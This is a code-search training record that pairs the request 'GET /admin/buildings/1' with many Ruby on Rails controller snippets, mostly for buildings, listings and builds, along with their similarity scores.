"def set_admin_building\n @admin_building = Admin::Building.find(params[:id])\n end",
"def new\n @building_type = BuildingType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @building_type }\n end\n end",
"def index\n @listings = Listing.all\n render json: @listings\n end",
"def index\n @admin_villages = Admin::Village.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @admin_villages }\n end\n end",
"def index\n @harvestings = Harvesting.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @harvestings }\n end\n end",
"def index\n @os_builds = OsBuild.all\n end",
"def building_autocomplete\n record = resource_class.new street_house_number: params[:house],\n street_prefix: params[:prefix],\n street_name: params[:street],\n street_suffix: params[:suffix],\n locality_id: params[:locality_id]\n record.auto_strip_attributes\n buildings = BuildingsOnStreet.perform(record)\n render json: buildings.to_json\n end",
"def list_all\n response_json = @client.api_get_request(\"/api/build\")\n\n return nil unless response_json\n\n response_json[\"builds\"].map do |build|\n {\n :name => build[\"uri\"].sub(/^\\//,''),\n :uri => build[\"uri\"],\n :lastStarted => build[\"lastStarted\"]\n }\n end.sort{ |x,y| x[:name] <=> y[:name]}\n\n end",
"def create\n @building = Building.new(building_params)\n\n if @building.save\n render json: @building, status: :created, location: @building\n else\n render json: @building.errors, status: :unprocessable_entity\n end\n end",
"def get_batterie_by_building\n @battery = Battery.where(building_id: params[:building_id])\n respond_to do |format| \n format.json { render :json => @battery }\n end\n \n end",
"def index\n @listings = Listing.by_user(current_user).all\n\n render json: @listings\n end",
"def list_buildings\n buildings = Building.all\n buildings.each do |building|\n puts \"#{building.name} (#{building.machines.count} machines)\"\n end\nend",
"def build_room_buildings()\n buildings = {}\n $item_by_id.fetch('/buildings/')[:map].each do |building, roomlist|\n roomlist = [] if roomlist.nil?\n\n bcode = building.to_s.upcase\n list = []\n roomlist.map(&$to_room_or_nil).reject(&:nil?).each do |r|\n list << r\n end\n rooms.select { |r| r[:slug].upcase.start_with? bcode }.each do |r|\n list << r\n end\n buildings[bcode] = list.uniq { |r| r[:slug] }.sort_by { |r| [r[:rank], r[:conference_room_id]] }\n buildings[bcode].each do |r|\n r[:building] = bcode\n end\n end\n\n # make sure there are no rooms left without a :building meta attribute\n begin\n errors = rooms.select { |r| r[:building].nil? }\n raise \"there are #{errors.size} room(s) without a building assignment, please put them into content/building.yaml: #{errors.map { |r| r[:slug] }.join(\", \")}\" unless errors.empty?\n end\n\n room_to_building = {}\n buildings.each do |bcode, rooms|\n rooms.each do |r|\n room_to_building[r[:slug]] = bcode\n end\n end\n\n [buildings, room_to_building]\n end",
"def show\n @build = Build.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @build }\n end\n end",
"def show\n @build = Build.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @build }\n end\n end",
"def index\n @building_stage_sub_stages = Building::Stage::SubStage.all\n end",
"def index\n @orgings = Orging.all\n end",
"def show\n session[:current_building] = @building.id\n session[:current_floor] = nil\n session[:sidebar] = 'building'\n\n respond_to do |format|\n format.html # show.html.erb\n format.js\n format.json { render json: @building }\n end\n end",
"def find_buildings(architect)\n name = architect.name\n url = Addressable::URI.parse('https://www.googleapis.com/freebase/v1/search')\n url.query_values = {\n query: name,\n type: \"/architecture/structure\",\n key: GOOGLE_CLIENT_ID\n }\n from_freebase = HTTParty.get(url, :format => :json)\n @results = from_freebase[\"result\"]\n @buildings_designed = @results.map { |building| building[\"name\"]}\n end",
"def show\n case @user.role\n when \"property_manager\"\n @buildings = Building.where(:property_manager_id => @user.id)\n when \"account_manager\"\n @buildings = Building.where(:account_manager_id => @user.id)\n when \"regional_manager\"\n @buildings = Building.where(:regional_manager_id => @user.id)\n when \"super_admin\", \"admin\"\n @buildings = Building.all \n end\n end",
"def building\n return @building\n end",
"def index\n @generations = Generation.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @generations }\n end\n end",
"def index\n # @properties = Property.filter_by_building(params[:buildingnumber])\n # @building = Building.find(params[:building_id])\n @properties = Property.search(params[:search])\n end",
"def index\n @org_settings = OrgSetting.all\n\n render json: @org_settings\n end",
"def show\n @building_type = BuildingType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @building_type }\n end\n end",
"def index\n if params[:search].present?\n @buildings = Building.near(params[:search], 50, :order => :distance)\n else\n @buildings = Building.all\n end\n\n end",
"def show\n @apartment = @building.apartments.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @apartment }\n end\n end",
"def index\n @releases = @environment.releases.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @releases }\n end\n end",
"def show\n render json: @build\n end",
"def index\n return unless params[:type] == 'building'\n\n @organizations = @organizations.only_categories(%w[Fraternity Sorority Independent Blitz Concessions])\n end",
"def index\n @building_blocks = BuildingBlock.all\n end",
"def index\n #@buildings = associated_model_class.available_for_user(current_user)\n instance_variable_set(resource_instance_variable_name.pluralize, resource_class.available_for_user(current_user).page(params[:page]).per(25))\n #instance_variable_set(\"@#{self.parent_resource_class.name.underscore.pluralize}\".to_sym, self.resource_class.available_for_user(current_user))\n\n @table_columns = [ 'Address', 'Price', 'Price currency']\n if resource_class == Building\n @table_columns.insert(0, \"Type\")\n end\n\n #render json: resources_instance_variable\n\n respond_with resources_instance_variable\n end",
"def index\n @user_buildings = policy_scope(UserBuilding)\n end",
"def new\n respond_to do |format|\n format.html # new.html.erb\n format.js\n format.json { render json: @building }\n end\n end",
"def index\n @branch_rooms = Room.get_all_rooms(params[:branch_id])\n \n render json: @branch_rooms\n end",
"def building=(value)\n @building = value\n end",
"def index\n @listings = Listing.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @listings }\n end\n end",
"def index\n @listings = Listing.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @listings }\n end\n end",
"def create\n @building = Building.new(building_params)\n respond_to do |format|\n if @building.save\n format.html { redirect_to @building, notice: 'Building created.' }\n format.json { render :show, status: :created, location: @building }\n else\n format.html { render :new }\n err = @building.errors\n format.json { render json: err, status: :unprocessable_entity }\n end\n end\n end",
"def show\n @village = Village.find(params[:id])\n @collections = @village.collections\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @village }\n end\n end",
"def destroy\n @admin_building.destroy\n respond_to do |format|\n format.html { redirect_to admin_buildings_url, notice: t(:building_notice_destroyed) }\n format.json { head :no_content }\n end\n end",
"def create\n @building = Building.new(building_params)\n\n respond_to do |format|\n if @building.save\n format.html { redirect_to @building, notice: 'Building was successfully created.' }\n format.json { render :show, status: :created, location: @building }\n else\n format.html { render :new }\n format.json { render json: @building.errors, status: :unprocessable_entity }\n end\n end\n end",
"def list_buildings\r\n buildings = Building.all\r\n buildings.each do |building|\r\n puts \"#{building} (#{building.machines.count} machines)\"\r\n end\r\nend",
"def index\n @organizations = Organization.order_by_most_recent\n @json = gmap4rails_with_popup_partial(@organizations,'popup')\n @category_options = Category.html_drop_down_options\n end",
"def create\n @building = Building.new(building_params)\n\n respond_to do |format|\n if @building.save\n format.html { redirect_to @building, notice: \"Building was successfully created.\" }\n format.json { render :show, status: :created, location: @building }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @building.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @plantings = Planting.all\n end",
"def index\n @floor_plans = @product.floor_plans\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @floor_plans }\n end\n end",
"def index\n @admin_guests = Guest.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @admin_guests }\n end\n end",
"def index\n @allocations = Allocation.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @allocations }\n end\n end",
"def index\n @params = params.permit(:building, :floor)\n \n @buildings = Place.distinct.pluck(:building)\n @floors = Place.where(building:params[:building]).distinct.order(:floor).pluck(:floor) if @params[:building]\n @current_user_place = current_user.place\n if @params[:building] && @params[:floor]\n @cells = Place.where(building: @params[:building], floor: @params[:floor]).order(:room, :id).includes(:user).group_by{|i| i.cell}\n end\n end",
"def show\n if !user_signed_in?\n redirect_to controller: 'user', action: 'notLoggedIn'\n else\n # Get all building names in ascending order\n @buildings = Building.all.order(name: :asc).to_a.map {\n |building| building.name\n }\n\n # Same with facility types and room numbers\n @facilitytypes = FacilityType.all.order(ftype: :asc).to_a.map {\n |facilityType| facilityType.ftype\n }\n\n @rooms = Room.all.order(roomNum: :asc).to_a.map {\n |room| room.roomNum\n }\n end\n @id = params[:id]\n end",
"def index\n @admins = Admin.all\n\n render json: @admins\n end",
"def getbatteries\n puts params\n buildid = params[\"buildingid\"]\n\n batteries = Battery.where(:building_id => buildid)\n\n puts batteries.inspect\n puts \"#################################################\"\n \n respond_to do |format|\n format.json { render json: batteries }\n end\n end",
"def index\n @postings = Posting.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @postings }\n end\n end",
"def accessories\n render json: { collections: Collection.published_accessories }\n end",
"def index\n @admin_versions = Admin::Version.all\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @admin_versions }\n end\n end",
"def index\n @client_releases = ClientRelease.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @client_releases }\n end\n end",
"def index\n @toolings = Tooling.all\n end",
"def index\n @sightings = Sighting.all\n render json: @sightings\n end",
"def index\n @harvestings = Harvesting.all\n end",
"def index\n @room_configs = RoomConfig.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @room_configs }\n end\n end",
"def index\n @networkings = Networking.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @networkings }\n end\n end",
"def show\n @builds = @job_matrix.latest_builds.group_by(&:job_id)\n @build_results = BuildResult\n .where(build_id: @job_matrix.latest_builds.pluck(:id))\n .where(ubuntu_release: Rails.application.config_for(:uosci)['supported_combinations'].keys)\n .order(created_at: :desc).includes(:user).group_by(&:build_id)\n end",
"def index\r\n @orgs = Org.all\r\n\r\n respond_to do |format|\r\n format.html # index.html.erb\r\n format.json { render json: @orgs }\r\n end\r\n end",
"def show\n buildingId = params[:id]\n @room = Room.where(building_id: buildingId)\n end",
"def index\n if(params.has_key?(:floor) && params.has_key?(:building))\n @nodes = Node.where(:floor => params[:floor],:building => params[:building])\n elsif(params.has_key?(:floor).present?)\n @nodes = Node.where(:floor => params[:floor])\n elsif(params.has_key?(:building).present?)\n @nodes = Node.where(:building => params[:building])\n else\n @nodes = Node.all\n end\n\n respond_to do |format|\n format.any { render json: @nodes, content_type: 'application/json' }\n end\n end",
"def index\n @representante_athletes = current_user.organization.athletes\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @representante_athletes }\n end\n end",
"def build(building)\n @building = building\n end"
] | [
"0.79387003",
"0.77449435",
"0.7314894",
"0.7223019",
"0.7171024",
"0.7165089",
"0.7097558",
"0.70530957",
"0.7040331",
"0.6935167",
"0.69105387",
"0.6798562",
"0.6764827",
"0.67273027",
"0.6721974",
"0.66824263",
"0.6658806",
"0.6652092",
"0.65663993",
"0.6556753",
"0.6547621",
"0.65444726",
"0.65444726",
"0.653463",
"0.6481335",
"0.6457856",
"0.6402996",
"0.6382955",
"0.6356013",
"0.62972176",
"0.62699026",
"0.6250067",
"0.62264687",
"0.61917293",
"0.6169725",
"0.6152295",
"0.6140436",
"0.60589767",
"0.6053584",
"0.6050557",
"0.60361737",
"0.60160905",
"0.60133165",
"0.600326",
"0.5983906",
"0.5972669",
"0.5972669",
"0.5967182",
"0.5965435",
"0.59628254",
"0.59570587",
"0.59508514",
"0.5929043",
"0.59239626",
"0.59213394",
"0.59172565",
"0.59096754",
"0.59088075",
"0.5894956",
"0.58803135",
"0.5877459",
"0.58772486",
"0.58650446",
"0.5837887",
"0.58360696",
"0.5834329",
"0.58265746",
"0.58189875",
"0.5796501",
"0.5796474",
"0.57760197",
"0.5765624",
"0.5764325",
"0.5758212",
"0.5753174",
"0.57516694",
"0.5739242",
"0.5723659",
"0.57207686",
"0.5720127",
"0.57118005",
"0.5708377",
"0.5707511",
"0.57073504",
"0.5703478",
"0.57023394",
"0.5700234",
"0.5700085",
"0.5687538",
"0.5686757",
"0.5683737",
"0.5680984",
"0.5678602",
"0.5678448",
"0.5677659",
"0.5672717",
"0.5666718",
"0.56658983",
"0.5661901",
"0.5655258"
] | 0.6071732 | 37 |
GET /admin/buildings/1 GET /admin/buildings/1.json | def show
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def index\n @buildings = Building.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json :@buildings }\n end\n end",
"def index\n @buildings = Building.all\n end",
"def show\n @building_type = BuildingType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @building_type }\n end\n end",
"def getbuildings\n \n puts params\n custid = params[\"custormerid\"]\n puts custid\n \n buildings = Building.where(:customer_id => custid)\n puts buildings.inspect\n respond_to do |format|\n puts \"pppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppp\"\n format.json { render json: buildings }\n end\n \n\n end",
"def index\n @complex_buildings = ComplexBuilding.all\n end",
"def index\n @builds = Build.all\n render json: @builds\n end",
"def building(building_id)\n perform_get_request(\"/building/#{building_id}\")\n end",
"def get_building\n #check if customer is passed as parameter\n if params[:customer].present?\n #same thing than : select building_id from customer where customer.id = id \n @buildings = Customer.find(params[:customer]).buildings\n \n else\n #if non id is given select all the buildings that are refered in the customer table\n @buildings = Customer.all\n end\n \n if request.xhr?\n #if no error \n #build response \n respond_to do |format|\n #make a json format for the response \n format.json {\n #send the list of corresponding buildings \n render json: {buildings: @buildings}\n }\n end\n end\n end",
"def index\n @buildings = @buildings.order(:name)\n session[:sidebar] = 'building'\n\n respond_to do |format|\n format.html # index.html.erb\n format.js\n format.json { render json: @buildings }\n end\n end",
"def find_building_by_id\n\t\tresponse = @service.fetch_building_by_id(selected_building_id, true, patient_data)\n\t\trender json: response\n\tend",
"def index\n @builds = current_application.builds\n @build = current_application.builds.new\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @builds }\n end\n end",
"def get_buildings_for_customer\n puts \"get_buildings_for_customer\"\n puts params\n @buildings = Building.where(\"customer_id = ?\", params[:customer_id])\n puts \"here are the buildings:\"\n puts @buildings\n respond_to do |format|\n format.json { render :json => @buildings }\n end\n end",
"def index\n @buildingdetails = Buildingdetail.all\n end",
"def index\n @building = Building.find(params[:building_id])\n @listings = Listing.all\n end",
"def show\n @building = Building.find(params[:id])\n\n if stale? @building\n render json: @building\n end\n end",
"def building_select\n p params[\"customer_id\"]\n @buildings = Building.where(customer_id: params[\"customer_id\"])\n respond_to do |format |\n format.json {\n render json: {\n buildings: @buildings\n }\n }\n end\n end",
"def building_list(property_id)\n perform_get_request(\"/property/#{property_id}/building/list\")\n end",
"def index\n @builds = Build.all\n end",
"def index\n @builds = Build.all\n end",
"def create\n @admin_building = Admin::Building.new(admin_building_params)\n @admin_building.user = current_user\n respond_to do |format|\n if @admin_building.save\n\n @admin_buildings = buildings(current_user)\n\n create_default_service(@admin_building)\n\n format.html { redirect_to @admin_building, notice: t(:building_notice_created) }\n format.json { render :show, status: :created, location: @admin_building }\n format.js { render :layout => false }\n else\n format.html { render :new }\n format.json { render json: @admin_building.errors, status: :unprocessable_entity }\n format.js { render :layout => false }\n end\n end\n end",
"def index\n @buildings = Building.find(:all, :include => :floors )\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @buildings }\n end\n end",
"def new\n @building_type = BuildingType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @building_type }\n end\n end",
"def set_admin_building\n @admin_building = Admin::Building.find(params[:id])\n end",
"def building\n if params[:customer].present?\n @building = Building.where(customer_id:params[:customer])\n else\n @building = Building.all\n end\n # Now i just need to send back a json response, as well as handle the original html response.(same for battery and elevator)\n respond_to do |format|\n format.json {\n render json: {building: @building}\n }\n end\n end",
"def show\n @build = Build.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @build }\n end\n end",
"def show\n @build = Build.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @build }\n end\n end",
"def my_buildings\n \n end",
"def index\n @apartments = @building.apartments\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @apartments }\n end\n end",
"def update\n respond_to do |format|\n if @admin_building.update(admin_building_params)\n @admin_buildings = buildings(current_user)\n\n format.html { redirect_to @admin_building, notice: t(:building_notice_updated) }\n format.json { render :show, status: :ok, location: @admin_building }\n format.js { render :layout => false }\n else\n format.html { render :edit }\n format.json { render json: @admin_building.errors, status: :unprocessable_entity }\n format.js { render :layout => false }\n end\n end\n end",
"def index\n if params[:search].nil? || params[:search].empty?\n @buildings = Building.paginate(page: params[:page])\n else\n @buildings = search_buildings(params[:search])\n end\n end",
"def show\n @building_type = BuildingType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @building_type }\n end\n end",
"def building_and_grounds\n bag = SuperSuperCategory.find_by(name: \"Facilities\")\n super_categories = bag.super_categories\n\n if params[:org]\n @data = build_from_super_super_categories(super_categories, params[:org].to_i)\n else\n @data = build_from_super_super_categories(super_categories, 0)\n end\n\n render json: @data\n end",
"def get_batterie_by_building\n @battery = Battery.where(building_id: params[:building_id])\n respond_to do |format| \n format.json { render :json => @battery }\n end\n \n end",
"def search\n @buildings = Building.search(params[:longitude], params[:latitude])\n\n if stale? last_modified: @buildings.maximum(:updated_at)\n render json: @buildings\n end\n end",
"def show\n render json: @build\n end",
"def list_buildings(buildings)\n \tbuildings.each do |place|\n\t\tputs \"#{buildings.index(place)}: #{place}\"\n\tend\nend",
"def building\n return @building\n end",
"def create\n @building = Building.new(building_params)\n\n if @building.save\n render json: @building, status: :created, location: @building\n else\n render json: @building.errors, status: :unprocessable_entity\n end\n end",
"def show\n @apartment = @building.apartments.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @apartment }\n end\n end",
"def show\n session[:current_building] = @building.id\n session[:current_floor] = nil\n session[:sidebar] = 'building'\n\n respond_to do |format|\n format.html # show.html.erb\n format.js\n format.json { render json: @building }\n end\n end",
"def index\n @os_builds = OsBuild.all\n end",
"def building_autocomplete\n record = resource_class.new street_house_number: params[:house],\n street_prefix: params[:prefix],\n street_name: params[:street],\n street_suffix: params[:suffix],\n locality_id: params[:locality_id]\n record.auto_strip_attributes\n buildings = BuildingsOnStreet.perform(record)\n render json: buildings.to_json\n end",
"def get_brandings\n request :get, \"/v3/brandings.json\"\n end",
"def index\n @buildings = Building.find_near_me(search_params)\n end",
"def building=(value)\n @building = value\n end",
"def set_building\n @building = Building.find(params[:id])\n end",
"def set_building\n @building = Building.find(params[:id])\n end",
"def set_building\n @building = Building.find(params[:id])\n end",
"def set_building\n @building = Building.find(params[:id])\n end",
"def show\n @build = Build.find(params[:id])\n end",
"def new\n respond_to do |format|\n format.html # new.html.erb\n format.js\n format.json { render json: @building }\n end\n end",
"def set_building\n @building = Building.where(id: params[:id]).first\n end",
"def list_all\n response_json = @client.api_get_request(\"/api/build\")\n\n return nil unless response_json\n\n response_json[\"builds\"].map do |build|\n {\n :name => build[\"uri\"].sub(/^\\//,''),\n :uri => build[\"uri\"],\n :lastStarted => build[\"lastStarted\"]\n }\n end.sort{ |x,y| x[:name] <=> y[:name]}\n\n end",
"def index\n @harvestings = Harvesting.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @harvestings }\n end\n end",
"def index\n @admin_villages = Admin::Village.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @admin_villages }\n end\n end",
"def buildings\n Building.where(\n user_id: users.map(&:id)\n )\n end",
"def create\n @building = Building.new(building_params)\n respond_to do |format|\n if @building.save\n format.html { redirect_to @building, notice: 'Building created.' }\n format.json { render :show, status: :created, location: @building }\n else\n format.html { render :new }\n err = @building.errors\n format.json { render json: err, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @building = Building.new(building_params)\n\n respond_to do |format|\n if @building.save\n format.html { redirect_to @building, notice: 'Building was successfully created.' }\n format.json { render :show, status: :created, location: @building }\n else\n format.html { render :new }\n format.json { render json: @building.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_buildingdetail\n @buildingdetail = Buildingdetail.find(params[:id])\n end",
"def show\n buildingId = params[:id]\n @room = Room.where(building_id: buildingId)\n end",
"def index\n @admin_buildings = Admin::Building.search(params[:search]).where(user: current_user).where(parent_id: nil).order(parent_id: :asc)\n\n @admin_buildings = buildings(current_user)\n\n @export = Admin::Building.where(user: current_user).order(parent_id: :asc)\n respond_to do |format|\n format.html\n format.xlsx {\n response.headers['Content-Disposition'] = 'attachment; filename=\"Buildings.xlsx\"'\n }\n format.js { render :layout => false }\n end\n end",
"def create\n @building = Building.new(building_params)\n\n respond_to do |format|\n if @building.save\n format.html { redirect_to @building, notice: \"Building was successfully created.\" }\n format.json { render :show, status: :created, location: @building }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @building.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n # @properties = Property.filter_by_building(params[:buildingnumber])\n # @building = Building.find(params[:building_id])\n @properties = Property.search(params[:search])\n end",
"def build(building)\n @building = building\n end",
"def list_buildings\n buildings = Building.all\n buildings.each do |building|\n puts \"#{building.name} (#{building.machines.count} machines)\"\n end\nend",
"def display_resource(building)\n \"#{building.name}\"\n end",
"def show\n @village = Village.find(params[:id])\n @collections = @village.collections\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @village }\n end\n end",
"def destroy\n @admin_building.destroy\n respond_to do |format|\n format.html { redirect_to admin_buildings_url, notice: t(:building_notice_destroyed) }\n format.json { head :no_content }\n end\n end",
"def new\n #@building = Building.new\n #APP_CONFIG['BusinessUnit'].keys.each { |bu| @building.building_occupancies.build(:business_unit => bu, :capacity => 0) }\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @building }\n end\n end",
"def index\n @listings = Listing.all\n render json: @listings\n end",
"def new\n @build = Build.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @build }\n end\n end",
"def new\n @build = Build.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @build }\n end\n end",
"def battery_select\n p params[\"building_id\"]\n @batteries = Battery.where(building_id: params[\"building_id\"])\n respond_to do |format |\n format.json {\n render json: {\n batteries: @batteries\n }\n }\n end\n end",
"def battery\n if params[:building].present?\n @battery = Battery.where(building_id:params[:building])\n else\n @battery = Battery.all\n end\n\n respond_to do |format|\n format.json {\n render json: {battery: @battery}\n }\n end\n end",
"def show\n @environment = @project.environments.find_by_slug!(params[:id])\n @releases = @environment.releases\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @environment }\n end\n end",
"def show\n @generation = Generation.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @generation }\n end\n end",
"def show\n if !user_signed_in?\n redirect_to controller: 'user', action: 'notLoggedIn'\n else\n # Get all building names in ascending order\n @buildings = Building.all.order(name: :asc).to_a.map {\n |building| building.name\n }\n\n # Same with facility types and room numbers\n @facilitytypes = FacilityType.all.order(ftype: :asc).to_a.map {\n |facilityType| facilityType.ftype\n }\n\n @rooms = Room.all.order(roomNum: :asc).to_a.map {\n |room| room.roomNum\n }\n end\n @id = params[:id]\n end",
"def index\n @releases = @environment.releases.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @releases }\n end\n end",
"def create\n @building_type = BuildingType.new(params[:building_type])\n\n respond_to do |format|\n if @building_type.save\n format.html { redirect_to @building_type, notice: 'Building type was successfully created.' }\n format.json { render json: @building_type, status: :created, location: @building_type }\n else\n format.html { render action: \"new\" }\n format.json { render json: @building_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @builds = @repo.builds.order('created_at DESC')\n end",
"def getbatteries\n puts params\n buildid = params[\"buildingid\"]\n\n batteries = Battery.where(:building_id => buildid)\n\n puts batteries.inspect\n puts \"#################################################\"\n \n respond_to do |format|\n format.json { render json: batteries }\n end\n end",
"def index\n @generations = Generation.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @generations }\n end\n end",
"def new\n @building_type = BuildingType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @building_type }\n end\n end",
"def show\n @building = Building.find(params[:id])\n @flat=Flat.find(params[:flat_id])\n @approach_quality=Quality.find(@building.approach_quality_id)\n @interiors_quality=Quality.find(@flat.interiors_quality_id)\n @view_quality=Quality.find(@flat.view_quality_id)\n @building_quality=Quality.find(@building.building_quality_id)\n @[email protected]_locality.quality\n @overall_quality_value = ((@building_quality.value*2+@interiors_quality.value*2+@locality_quality.value*2+@approach_quality.value+@view_quality.value).to_f/8.0).round(0)\n @overall_quality_name = Quality.find_by_value(@overall_quality_value).name\n @[email protected]\n @deals=Deal.all\n @building.building_notes.build\n @broker_relation=DealRelation.find_by_name(\"Broker\")\n @landlord_relation=DealRelation.find_by_name(\"Landlord\")\n @employee_relation=DealRelation.find_by_name(\"Employee\")\n @tenant_relation=DealRelation.find_by_name(\"Tenant\")\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json :@building }\n end\n end",
"def index\n @org_settings = OrgSetting.all\n\n render json: @org_settings\n end",
"def show\n @builds = @job_matrix.latest_builds.group_by(&:job_id)\n @build_results = BuildResult\n .where(build_id: @job_matrix.latest_builds.pluck(:id))\n .where(ubuntu_release: Rails.application.config_for(:uosci)['supported_combinations'].keys)\n .order(created_at: :desc).includes(:user).group_by(&:build_id)\n end",
"def show\n @version = Version.find(params[:id])\n @versionconfig= @version.version_configurations.all\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @version }\n end\n end",
"def show\n case @user.role\n when \"property_manager\"\n @buildings = Building.where(:property_manager_id => @user.id)\n when \"account_manager\"\n @buildings = Building.where(:account_manager_id => @user.id)\n when \"regional_manager\"\n @buildings = Building.where(:regional_manager_id => @user.id)\n when \"super_admin\", \"admin\"\n @buildings = Building.all \n end\n end",
"def new\n @apartment = @building.apartments.build\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @apartment }\n end\n end",
"def update\n @building = Building.find(params[:id])\n\n if @building.update_attributes(building_params)\n head :no_content\n else\n render json: @building.errors, status: :unprocessable_entity\n end\n end",
"def index\n @building_blocks = BuildingBlock.all\n end",
"def index\n return unless params[:type] == 'building'\n\n @organizations = @organizations.only_categories(%w[Fraternity Sorority Independent Blitz Concessions])\n end",
"def build_room_buildings()\n buildings = {}\n $item_by_id.fetch('/buildings/')[:map].each do |building, roomlist|\n roomlist = [] if roomlist.nil?\n\n bcode = building.to_s.upcase\n list = []\n roomlist.map(&$to_room_or_nil).reject(&:nil?).each do |r|\n list << r\n end\n rooms.select { |r| r[:slug].upcase.start_with? bcode }.each do |r|\n list << r\n end\n buildings[bcode] = list.uniq { |r| r[:slug] }.sort_by { |r| [r[:rank], r[:conference_room_id]] }\n buildings[bcode].each do |r|\n r[:building] = bcode\n end\n end\n\n # make sure there are no rooms left without a :building meta attribute\n begin\n errors = rooms.select { |r| r[:building].nil? }\n raise \"there are #{errors.size} room(s) without a building assignment, please put them into content/building.yaml: #{errors.map { |r| r[:slug] }.join(\", \")}\" unless errors.empty?\n end\n\n room_to_building = {}\n buildings.each do |bcode, rooms|\n rooms.each do |r|\n room_to_building[r[:slug]] = bcode\n end\n end\n\n [buildings, room_to_building]\n end",
"def index\n @orgings = Orging.all\n end",
"def index\n @building_stage_sub_stages = Building::Stage::SubStage.all\n end",
"def create\n @building = Building.new(building_params)\n authorize! :create, @building\n\n respond_to do |format|\n if @building.save\n format.html { redirect_to @building, notice: t('.create_ok', item: @building.name) }\n format.json { render json: @building, status: :created, location: @building }\n else\n format.html { render action: 'new' }\n format.json { render json: @building.errors, status: :unprocessable_entity }\n end\n end\n end",
"def show\n @admin_village = Admin::Village.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @admin_village }\n end\n end",
"def find_buildings(architect)\n name = architect.name\n url = Addressable::URI.parse('https://www.googleapis.com/freebase/v1/search')\n url.query_values = {\n query: name,\n type: \"/architecture/structure\",\n key: GOOGLE_CLIENT_ID\n }\n from_freebase = HTTParty.get(url, :format => :json)\n @results = from_freebase[\"result\"]\n @buildings_designed = @results.map { |building| building[\"name\"]}\n end",
"def show\n @ninja = Ninja.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @ninja }\n end\n end",
"def index\n @floor_plans = @product.floor_plans\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @floor_plans }\n end\n end",
"def index\n if params[:search].present?\n @buildings = Building.near(params[:search], 50, :order => :distance)\n else\n @buildings = Building.all\n end\n\n end"
] | [
"0.773271",
"0.75652677",
"0.7206783",
"0.7136694",
"0.71287364",
"0.7114937",
"0.7031206",
"0.69841874",
"0.69692886",
"0.6962455",
"0.6871123",
"0.6869036",
"0.6859525",
"0.68490845",
"0.6806928",
"0.6676878",
"0.65930665",
"0.6587837",
"0.6587837",
"0.65636003",
"0.656225",
"0.65313387",
"0.6511885",
"0.6501279",
"0.64728564",
"0.64728564",
"0.64146805",
"0.6313592",
"0.63067234",
"0.6252588",
"0.6239488",
"0.62140197",
"0.6197467",
"0.61449814",
"0.6141271",
"0.6127832",
"0.6126665",
"0.6125108",
"0.607667",
"0.6075043",
"0.60445714",
"0.6036732",
"0.6033196",
"0.60178924",
"0.5994467",
"0.5993834",
"0.5993834",
"0.5993834",
"0.5993834",
"0.5990982",
"0.5961807",
"0.5945795",
"0.59241045",
"0.59156555",
"0.5906214",
